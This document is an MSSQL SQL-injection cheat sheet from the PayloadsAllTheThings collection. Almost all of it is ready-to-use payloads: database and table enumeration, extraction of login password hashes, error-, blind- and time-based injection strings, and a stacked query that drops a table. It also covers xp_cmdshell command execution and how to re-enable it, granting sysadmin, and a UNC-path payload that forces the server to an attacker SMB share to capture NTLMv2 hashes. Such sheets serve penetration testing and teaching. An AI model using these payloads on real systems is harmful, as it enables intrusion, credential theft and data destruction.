PayloadsAllTheThings/SQL Injection/MSSQL Injection.md

MSSQL Injection

Summary

• MSSQL comments
• MSSQL version
• MSSQL database name
• MSSQL List databases
• MSSQL List columns
• MSSQL List tables
• MSSQL Extract user/password
• MSSQL Union Based
• MSSQL Error Based
• MSSQL Blind Based
• MSSQL Time Based
• MSSQL Stacked query
• MSSQL Command execution
• MSSQL UNC path
• MSSQL Make user DBA

MSSQL comments

-- comment goes here
/* comment goes here */

MSSQL version

SELECT @@version

MSSQL database name

SELECT DB_NAME()

MSSQL List databases

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …

MSSQL List columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns

MSSQL List tables

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns

MSSQL Extract user/password

MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL Union Based

-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users

MSSQL Error based

For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '

MSSQL Blind based

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Time based

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'                              comment:   --

MSSQL Stacked Query

Use a semi-colon ";" to add another query

ProductID=1; DROP members--

MSSQL Command execution

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

To interact with the MSSQL instance.

sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 

MSSQL Make user DBA (DB admin)

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

References

• Pentest Monkey - mssql-sql-injection-cheat-sheet
• Sqlinjectionwiki - MSSQL
• Error Based - SQL Injection